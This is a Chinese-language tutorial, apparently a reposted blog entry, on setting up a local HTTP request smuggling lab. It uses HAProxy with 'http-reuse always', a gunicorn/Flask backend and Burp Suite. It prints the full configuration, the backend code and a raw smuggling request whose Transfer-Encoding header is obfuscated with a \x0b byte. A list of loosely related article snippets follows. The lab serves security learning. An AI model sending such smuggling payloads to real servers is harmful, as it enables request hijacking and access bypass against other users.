利用Haproxy搭建 HTTP 请求走私(Request smuggling)环境

Haproxy 介绍

HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性、负载均衡,以及基于TCP和HTTP的应用程序代理。

请求走私(Request smuggling)概念证明

使用下面的haproxy.cfg

defaults

    mode http

    timeout http-keep-alive 10s

    timeout connect 5s

    timeout server 60s

    timeout client 30s

    timeout http-request 30s

backend web

    http-reuse always

    server web0 127.0.0.1:6767

frontend http

    bind *:1080

    timeout client 5s

    timeout http-request 10s

    default_backend web

配置的关键是http-reuse always , 这不是HAProxy中处理连接重用的默认选项。在此处查看有关此设置的更多详细信息:http://cbonte.github.io/haproxy-dconv/1.9/configuration.html#4.2-http-reuse。

这对于搭建请求走私环境至关重要,因为我们希望从HAProxy到后端服务器的受害者连接可以重用攻击者控制的连接。

启动负责均衡服务器

haproxy -f haproxy.cfg

对于后端,我们需要一个HTTP服务器,该服务器将与HAProxy 一起使用,并且将解析格式错误的Transfer-Encoding标头为有效,并且在解析请求时 ,Transfer-Encoding 将会优先  Content-Length 进行解析。发现其中一个是Python gunicorn应用服务器(已针对最新的19.9.0 进行测试),

下面使用Flask的演示Web应用程序,当与HAProxy错误结合使用时,该应用程序应该容易受到请求走私的攻击。首先,让我们安装先决条件

pip install flask
pip install gunicorn
pip install gunicorn[gevent]

backend.py 代码如下

from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route(‘/‘, methods=[‘GET‘‘POST‘])

def main():

    # the next line is required for Transfer-Encoding support in the request

    request.environ[‘wsgi.input_terminated‘] = True

    headers = {}

    for header in request.headers:

        headers[header[0]] = header[1]

    return jsonify(body=request.data, headers=headers)

启动WEB服务器

gunicorn --keep-alive 10 -k gevent --bind 0.0.0.0:6767 -w 20 backend:app --access-logfile -

我们怎么知道我们已经走私了?当我们在Turbo Intruder中发起这种攻击时,其中的一个响应请求的响应大小会不同,可以看到响应包里面有一个走私请求

更直观的感受

1.先用Intruder 对目标发起GET /xxxx 的请求操作,

2.然后在Repeater里发送如下数据包 ,注意 Transfer-Encoding 与 chunked之间是\x0b 其实\x0c也是有效的

POST / HTTP/1.1

Host: 10.0.83.77:1080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

Connection: keep-alive

Content-Type: application/json

Content-Length: 30

Transfer-Encoding: chunked

0

GET / HTTP/1.1

X-Test: x

原文地址:https://www.cnblogs.com/icez/p/haproxy_http_request_smuggling.html

时间: 2024-10-12 23:09:08

利用Haproxy搭建 HTTP 请求走私(Request smuggling)环境的相关文章

为什么一个Http Header中的空格会被骇客利用 - HTTP request smuggling

前言 507383170 前阵子在Netty的issue里有人提了一个问题 http request smuggling, cause by obfuscating TE header ,描述了一个Netty的http解码器一直以来都存在的问题:没有正确地分割http header field名称,可能导致被骇客利用. 引起问题的那段code很简单,它的作用是从一个字符串中分割出header field-name: for (nameEnd = nameStart; nameEnd < leng

Apache2月9日邮件提示:Tomcat请求漏洞(Request Smuggling)

官方邮件原文: http://mail-archives.apache.org/mod_mbox/www-announce/201502.mbox/%[email protected]%3E CVE编码:CVE-2014-0227 漏洞名称:Request Smuggling危害程度:重要!影响的版本包括:- - Apache Tomcat 8.0.0-RC1 to 8.0.8- - Apache Tomcat 7.0.0 to 7.0.54- - Apache Tomcat 6.0.0 to

利用tomcat搭建jsp开源内容管理系统

一.简介 Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选.对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应对HTML(标准通用标记语言下的一个应用.)页面的访问请求.实际上Tomcat 部分是Apache 服务器的扩展,但它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的. 诀窍是,当配

利用grunt-contrib-connect和grunt-connect-proxy搭建前后端分离的开发环境

前后端分离这个词一点都不新鲜,完全的前后端分离在岗位协作方面,前端不写任何后台,后台不写任何页面,双方通过接口传递数据完成软件的各个功能实现.此种情况下,前后端的项目都独立开发和独立部署,在开发期间有2个问题不可避免:第一是前端调用后台接口时的跨域问题(因为前后端分开部署):第二是前端脱离后台服务后无法独立运行.本文总结最近一个项目的工作经验,介绍利用grunt-contrib-connect和grunt-connect-proxy搭建前后端分离的开发环境的实践过程,希望能对你有所帮助. 注:

ubuntu 16.04利用docker搭建java+tomcat+nginx反向代理/动静分离

ubuntu 16.04利用docker搭建java+tomcat+nginx反向代理 新建两个docker容器 docker run -it --name Tomcat-mysql -v /mnt:/mnt -p 8866:80 -p 33006:3306 ubuntu /bin/bash docker run -itd --name webserver -p 8888:80 -v /mnt/:/mnt/ ubuntu /bin/bash [email protected]:~# docker

利用GitHub搭建个人网站

转载请注明出处: http://blog.csdn.net/gane_cheng/article/details/52203759 http://www.ganecheng.tech/blog/52203759.html (浏览效果更好) 最近在找实习,需要写一份含有丰富内容的简历,但是简历最多只能写两页纸.再多的话就会让面试官烦了,找不到重点.如果还想向面试官展示更多的个人能力,经验,经历,在简历上放上自己的个人网站链接无疑是一种比较好的方式.面试官想了解更多的话,打开链接就知道你的知识的深度

php 利用curl发送post请求

利用curl发送post请求完成数据,接口的访问,这里面的参数可以修正一下,就可以写成可以支持文件上传的一个post请求,但是我这里不做仔细的写了.等以后有时间了在考虑怎么分解这个方法: /** * Curl版本 * 使用方法: * $post_string = "app=request&version=beta"; * request_by_curl('http://blog.snsgou.com/restServer.php', $post_string); */ func

利用Haproxy对Discuz实现数据的动静分离

一,实验目的 利用Haproxy+Discuz实现数据的动静分离 二,实验模型 三,实验环境 四,实验内容 1,首先在node2,3上安装http服务,安装PHP 2,提供NFS文件共享存储 配置node2的web根目录为nfs共享目录为挂载在node3的文件根目录下. node3: mount -t nfs 172.16.18.1:/var/www/html/upload   /var/www/html/upload 3,在node2上部署Discuz论坛 将Discuz解压到站点根目录下.进

使用Haproxy搭建Web群集

防伪码:不必向我解释色彩,我的眼里自有一片湛蓝           第七章 使用Haproxy搭建Web集群 前言:Haproxy是目前比较流行的一种集群调度工具,同类集群调度工具很多,如LVS和Nginx.相比较而言,LVS性能最好,但是搭建相对复杂,Nginx的upstream模块支持集群功能,但是对集群节点的检查功能不强,性能没有Haproxy好,其官网是http://haproxy.1wt.eu/.本章我们将使用Haproxy搭建一套Web集群,并增加一台Haproxy做双机热备,达到高